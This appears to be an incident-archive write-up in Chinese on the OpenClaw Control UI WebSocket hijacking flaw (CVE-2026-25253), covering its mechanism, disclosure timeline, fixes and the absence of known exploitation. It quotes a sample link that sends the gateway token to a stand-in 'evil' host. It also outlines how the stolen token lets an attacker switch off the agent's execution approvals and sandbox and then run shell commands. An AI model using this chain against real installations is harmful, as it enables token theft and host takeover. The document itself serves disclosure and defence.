OpenClaw 控制介面 WebSocket 劫持：一個連結即可達成 RCE

2026 年 1 月 29 日，資安公司 Ethiack 發表了對 OpenClaw 一個漏洞的說明。OpenClaw 是開源個人 AI 代理，在使用者自己的機器上執行，並透過名為 Control UI 的瀏覽器儀表板操作。一個特製連結可能使該儀表板將閘道的驗證權杖交給攻擊者，並藉此取得以已登入使用者身分執行 shell 指令的能力。CVE-2026-25253 於 2026 年 2 月 1 日發布，專案自身的公告則在隔天發布，兩者都將該漏洞評為 8.8 分的高風險。所有曾有人登入 Control UI 的部署都在影響範圍內，包括僅能透過 loopback 存取的執行個體。本文查閱的來源中，沒有任何來源記錄該漏洞曾被用於攻擊真實使用者。該檔案庫將此事件歸類為高嚴重性的基礎設施事件，信心等級為 B，日期精確至日，為 2026 年 1 月 29 日，並與其其他代理安全條目一同收錄於 Orca AI Incident Archive。

Control UI 對 URL 做了什麼

OpenClaw 是一款自託管代理，使用者可透過通訊應用程式和網頁儀表板存取，並且以 Ethiack 報告所稱的「完整系統存取權」運作。該專案在此之前已更名不止一次，在 OpenClaw 之前曾名為 Clawdbot 和 Moltbot，而 npm 登錄檔記錄openclaw套件建立於 2026 年 1 月 29 日 11:08 UTC。儀表板是這裡的關鍵部分：它將閘道權杖保存在瀏覽器儲存空間中，而漏洞就存在於那裡。

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

兩個瀏覽器特性將那項外洩變成接管。瀏覽器對 WebSocket 連線不會像對一般 HTTP 請求那樣套用同源政策，而閘道在升級時未驗證 Origin 標頭，因此受害者造訪的頁面上的 JavaScript 可以直接開啟 socket 連線到 ws://localhost:18789（depthfirst，2026 年 2 月 1 日）。由於是受害者自己的瀏覽器發出對外連線，該攻擊得以觸及綁定於 loopback、從網路上不可見的閘道。「即使執行個體設定為僅監聽 loopback，此弱點仍可被利用，因為是受害者的瀏覽器發起對外連線，」該專案的安全公告表示。Ethiack 當時還記錄到另一個條件：其測試的穩定版 Chrome 建置預設並未隨附 Local Network Access 權限，因此瀏覽器也未顯示任何提示。

被竊取的權杖所換來的，才是後續故事的關鍵。它帶有 operator.admin 與 operator.approvals 權限範圍。有了這些，攻擊者便能藉由將 exec.approvals.set 設為 "off" 來關閉執行核准，藉由將 tools.exec.host 設為 "gateway" 將執行主機移出容器，然後透過 node.invoke / system.run 請求在主機上執行 shell 命令（depthfirst，2026 年 2 月 1 日；The Hacker News，2026 年 2 月 2 日）。廠商公告以一句話總結結果：攻擊者可以「修改設定（沙箱、工具政策），並執行特權動作，達成 1-click RCE」。

在不到兩小時內被機器發現

這次發現本身就是一次 AI 演練。Ethiack 於 2026 年 1 月 26 日 13:21 UTC，讓其自主滲透測試代理程式 Hackian 對一個實際運作中的 OpenClaw 執行個體進行測試。它於 15:05 UTC 確認該漏洞，約一小時四十分鐘後，而這正是 Ethiack 報告標題所突顯的數字。該公司於 18:02 UTC 向 OpenClaw 的維護者回報。根據 Ethiack 公布的時程與該專案的提交歷史，1 月 27 日出現了 pull request，修正則於 1 月 28 日晚間進入主分支。

第二個團隊獨立得出相同結論。Mav Levin 是 depthfirst 的創始安全研究員，於 2026 年 2 月 1 日發表了自己的文章，寫道：「OpenClaw 團隊迅速處理並修復了我所回報的問題」，並表示另有他人獨立回報了同一個錯誤。GitHub 的安全公告將 DepthFirstDisclosures 列為回報者，並將 0xacb 與 mavlevin 同列為發現者。0xacb 帳號的個人檔案名稱是 André Baptista，他是 Ethiack 文章的三位共同作者之一，這與時間線相符：Ethiack 針對該修復提出的拉取請求於 1 月 27 日從該帳號開啟，而維護者的提交內容也具名感謝該帳號。本文查閱過的消息來源中，沒有任何一個表示這兩項工作在發表前彼此知情，也沒有任何來源質疑這份功勞歸屬。

這筆紀錄的日期，以及其前後的日期

檔案將此條目標為 2026 年 1 月 29 日，精確度為日，這與 Ethiack 的研究公開的日期相符。程式碼修正已在前一天到位。包含該修正的附標籤發行版隨後於 UTC 1 月 30 日凌晨發布，也就是美國太平洋時間 1 月 29 日傍晚：npm 記錄版本 2026.1.29 的時間為 1 月 30 日 04:49 UTC，GitHub 發行版則為 05:26 UTC。MITRE 的 CVE 記錄日期為 2026 年 2 月 1 日 22:34 UTC，GitHub 的安全公告為 2 月 2 日 23:41 UTC，而 The Hacker News 於 2 月 2 日報導了該漏洞。

該紀錄引用的來源——Permission Protocol 的代理事件追蹤器——有其自己的時間軸，而且部分內容較晚。它將修補版本的發布日期定為 2026-01-29，與版本號一致，卻將該漏洞的「早期通報」日期定為 2026-02-12，並將 CVE-2026-25253 的廣泛公開披露日期定為 2026-02-26，獨立彙整報導則定為 2026-03-24。主要文件則說法不同。2 月 26 日這個日期對應的是 SonicWall 的修補分析，該分析在該識別碼存在後三個半星期才發布；而 2 月 12 日落在兩篇研究報告與廠商分析之間，而非早於它們。該追蹤器時間軸的最後一列也稱該機制為「zero-click」；廠商公告稱其為「1-click」，而每篇已發布的記述都描述受害者必須開啟連結。在這些日期與標籤有出入之處，本文以 CVE 紀錄、廠商公告及兩篇研究報告為準。

關於那個來源，有一點提醒值得公開說明。Permission Protocol 販售的是授權閘道，而其條目則以自家產品原本會攔下什麼來鋪陳這起事件的脈絡。該頁面將這項評估標示為有條件的，並自稱「該來源並未確立產品防範結果」。紀錄真正準確承載的，是它的框架：該研究在 CVE 出現的三天前就已公開，這也是檔案庫將此稱為早於 CVE-2026-25253 的早期發現的原因。

實際上受到損害的是什麼？

就任何來源紀錄所知，並沒有。檔案將該紀錄的 real_harm 標為 false，這與其周遭所有已發布的內容一致。比利時網路安全中心於 2026 年 2 月 2 日發布公告指出：「目前沒有證據顯示此漏洞已在實際環境中遭到利用。」Ethiack、depthfirst、SonicWall 與 The Hacker News 均未報導有受害者、遭入侵的安裝或資料遭竊，且它們也都沒有給出有多少安裝暴露在外的數字。Ethiack 僅指出有「大量執行個體運行於公開伺服器上」且配置薄弱，這只是印象而非計數。

真正存在的是可用的漏洞利用程式碼。Ethiack 在其技術分析文章旁一併公開了完整的漏洞利用原始碼，並在自己的執行個體上示範了這條攻擊鏈。SonicWall 二月的分析指出，權杖遭竊取是「利用公開可得的漏洞利用程式」所致。2026 年 3 月 9 日，GitHub 上出現了一個第三方的概念驗證儲存庫。公開的漏洞利用程式碼並不等同於實際的漏洞利用行為，而該封存內容的危害標記指的是後者。

有一個來源比其他來源來得寬鬆，值得特別標記。比利時那份公告的風險章節描述，觸發點是機器人本身渲染了攻擊者控制的內容，但這並非廠商公告或兩份研究報告所述的機制：在三份文件裡，都是受害者的瀏覽器被誘導前往某個連結，而代理程式是攻擊目標，並非傳遞載體。其中可引述的是它關於漏洞利用的陳述；它的機制摘要則不然。

改變了什麼，以及第一次修正留下了哪些未解的問題

2026.1.29 的修正新增了一個確認對話框，之後 Control UI 才會切換到不同的 gateway URL。專案的安全公告將此變更描述為「有了這項變更，使用者現在需要在 UI 中確認新的 gateway URL」，而負責呈現該對話框的檔案也存在於 v2026.1.29 標籤中。這使攻擊成本從一次點擊提高到一次點擊加上一次刻意確認。它並未消除對 URL 參數的根本信任。

Origin 驗證是這條鏈的另一半，後來才出現。SonicWall 的修補程式分析記錄指出：「後續更新實作了嚴格的 Origin 驗證控制」，並列出四項檢查：拒絕缺少或無效的 Origin 標頭；允許與 Host 標頭相符的 Origin 主機；允許 loopback 對 loopback；允許在已配置的 allowedOrigins 清單中指定的來源；並拒絕其他所有情況。這個先後順序可在專案原始碼的 v2026.1.29 標籤中看到：其中的 WebSocket 升級處理常式會讀取並記錄 Origin 標頭，卻未對其套用任何原則。

其他回應是偵測，而非程式碼。SonicWall 推出了 IPS 特徵碼 21908，針對其所稱的 OpenClaw 敏感資料外洩問題。depthfirst 建議，若懷疑曾發生外洩，應升級並輪換閘道權杖，這直接源於其運作機制：被竊取的權杖在有人變更它之前一直有效。

哪些是已經確立的，哪些則尚未

已根據原始文件確認：該易受攻擊的程式碼路徑會從查詢字串讀取 gatewayUrl，並在未經驗證的情況下自動連線；連線幀帶有已儲存的權杖；閘道未驗證 WebSocket 來源，因此任何網站上的瀏覽器都能觸及回環位址；該權杖帶有 admin 與 approval 權限範圍；2026.1.29 之前的版本受到影響；且有兩個團隊各自獨立發現此缺陷，其中一個是從外部作業的自主代理。

尚未證實的是：是否有人利用了它、當時有多少安裝可被觸及，以及僅靠確認對話框是否能擋下有決心的攻擊者。該檔案的 B 級評等反映的是其引用基礎僅有一個次要追蹤器，而非對其機制有任何疑慮，且該記錄並未被標記為有爭議。這些機制由廠商公告、MITRE 的 CVE 記錄以及兩份獨立研究報告佐證，這比該記錄本身單獨聲稱的還要多。

該檔案庫的單行摘要稱此為早於 CVE-2026-25253 的早期發現，而這正是解讀這則條目的正確方式：一項缺陷在取得識別碼之前就被發現、回報並修復的紀錄，且發生在一個專為在其所處機器上執行命令而打造的產品裡。隨後出現的 CVE 描述了同樣的三種行為：查詢參數、未經提示的連線，以及握手過程中的權杖；而本文查閱的任何來源，都未指出有任何人身處其另一端。